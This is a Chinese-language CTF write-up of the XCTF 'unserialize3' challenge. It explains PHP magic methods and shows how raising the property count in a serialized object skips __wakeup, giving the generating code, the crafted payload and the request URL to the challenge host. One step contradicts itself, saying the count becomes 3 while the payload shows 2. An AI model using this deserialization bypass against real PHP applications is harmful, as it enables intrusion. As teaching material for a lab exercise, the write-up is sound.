XCTF-高手进阶区:unserialize3

目标:

  • 了解php反序列化中__wakeup漏洞的利用
  • 了解php魔术方法
  • __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能
  • 注意:PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。
  • __sleep() 和 __wakeup()
    public __sleep ( void ) : array
    __wakeup ( void ) : void
    serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
    Note:
    (1)__sleep() 不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。
    (2)__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
    (3)与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
    (4)__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
  • 访问控制
    PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
    public(公有):公有的类成员可以在任何地方被访问。
    protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
    private(私有):私有的类成员则只能被其定义所在的类访问。
  • unserialize() 将已序列化的字符串还原回 PHP 的值。
    序列化请使用 serialize() 函数。
    语法
    unserialize(str)
    参数 描述
    str 必需。一个序列化字符串。
    __wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。

Writeup

我们访问目标网址,根据__wakeup魔术方法和题目名字,可以猜到这里是用到了php反序列化

进行代码分析:(注意,这里面的代码少了倒数第二个大括号收尾,我已经加上去了)

class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
?code=                           //可能是在提示我们http://111.198.29.45:30940?code=一个值进行利用
  • 代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)
<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));       //输出被序列化的对象(peak)
?>
  • 代码执行结果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
/*xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞
*/
  • 因此,我们要反序列化xctf类的同时还要绕过__wakeup方法的执行(如果不绕过__wakeup()方法,那么将会输出bad requests并退出脚本),__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:
    当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为3,即如下所示
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

我们最后进行url访问

http://111.198.29.45:30940?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

序列化字符串各部分简单释义:
O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值
结果如下所示:

注:
class参考:https://www.runoob.com/php/php-oop.html
$this参考:http://www.php.cn/php-weizijiaocheng-360302.html

XCTF-高手进阶区:unserialize3相关推荐

  1. 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp

    文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...

  2. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  3. 攻防世界-web高手进阶区

    文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...

  4. 攻防世界 Reverse高手进阶区 2分题 reverse-for-the-holy-grail-350

    前言 继续ctf的旅程 攻防世界Reverse高手进阶区的2分题 本篇是reverse-for-the-holy-grail-350的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数 ...

  5. 攻防世界 web高手进阶区 9分题 favorite_number

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...

  6. 攻防世界 Crypto高手进阶区 3分题 wtc_rsa_bbq

    前言 继续ctf的旅程 攻防世界Crypto高手进阶区的3分题 本篇是wtc_rsa_bbq的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一个无后缀文件 扔 ...

  7. 攻防世界高手进阶区——dice_game

    攻防世界高手进阶区--dice_game 题目里面啥都没有. 一.分析文件 checksec 只有栈溢出保护关闭了,其他都是开着的. 运行 可以看出是要猜数字,猜对50次. ida逆向 __int64 ...

  8. 攻防世界高手进阶区 ——forgot

    攻防世界高手进阶区 --forgot 看了半天,啥也没看懂,做出来了才发现啥也不是. 一,分析文件 checksec 还好,只开启了堆栈不可执行. 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩. ...

  9. forgot [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列13

    题目地址:forgot 本题是高手进阶区的第二题,恭喜大家已经进入高手行列!好假好假,哈哈哈! 废话不说,看看题目先 这个题目有很长的描述,但是都是废话,不去管他了. 照例下载附件,做下安全检查 ro ...

  10. 攻防世界 Crypto高手进阶区 3分题 你猜猜

    前言 继续ctf的旅程 攻防世界Crypto高手进阶区的3分题 本篇是你猜猜的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一串16进制 504B03040A ...

最新文章

  1. DSP调试报错:OMAPL138 Connect to PRSC failed
  2. 第二百九十二节,RabbitMQ多设备消息队列-Python开发
  3. 昨天添加的clustrMaps,忘了截屏,今天补上,就作为我在园子里的奠基。
  4. 重拾Javascript(四) 运动 图片的淡入淡出
  5. linux的munit命令,LinuxUnit命令学习(三)
  6. 高斯消元 zoj 3645 poj 1222/XOR消元
  7. python白鹅类型_fluent python 11.10节 鹅的行为有可能像鸭子
  8. 小技巧收集(10)-JS操作Cookie
  9. 【STM32H7的DSP教程】第5章 Matlab简易使用之常用编程语句
  10. 【微信授权登录】Scope 参数错误或没有 Scope 权限
  11. mysqldump: Got error: 1168 differently defined non-MyISAM LOCK TABLES
  12. L1-049 天梯赛座位分配 (Python)
  13. php判断字符串长度 strlen()与mb_strlen()函数
  14. python爬虫 爬取京东网页
  15. 使用pyecharts绘制系统依赖关系图
  16. 历代Android开机动画,回顾Windows历代版本开机画面:XP最经典
  17. 英伟达发布526.47驱动,可支持新款RTX 3060/3060 Ti显卡
  18. 读文件并算出平均数&找出排名前3的成绩(c语言 可运行)
  19. 2022年QIMA LVMH Ethical Audit Preparation Document
  20. 阿里员工感慨:涂鸦和阿里之间选了阿里,涂鸦上市了,小丑竟是我自己

热门文章

  1. YOLOv5训练coco128数据集流程
  2. python扫盲系列-(2)
  3. Hive中的一种假NULL
  4. spring boot项目打包成war并在tomcat上运行的步骤
  5. 剖析亿级请求下的多级缓存
  6. 10个节省时间和改善工作流的Git技巧
  7. Elasticsearch 实现自定义排序插件
  8. 聊聊JVM(三)两种计算Java对象大小的方法
  9. 高性能队列——Disruptor
  10. 如何获取Debug Android Hash Key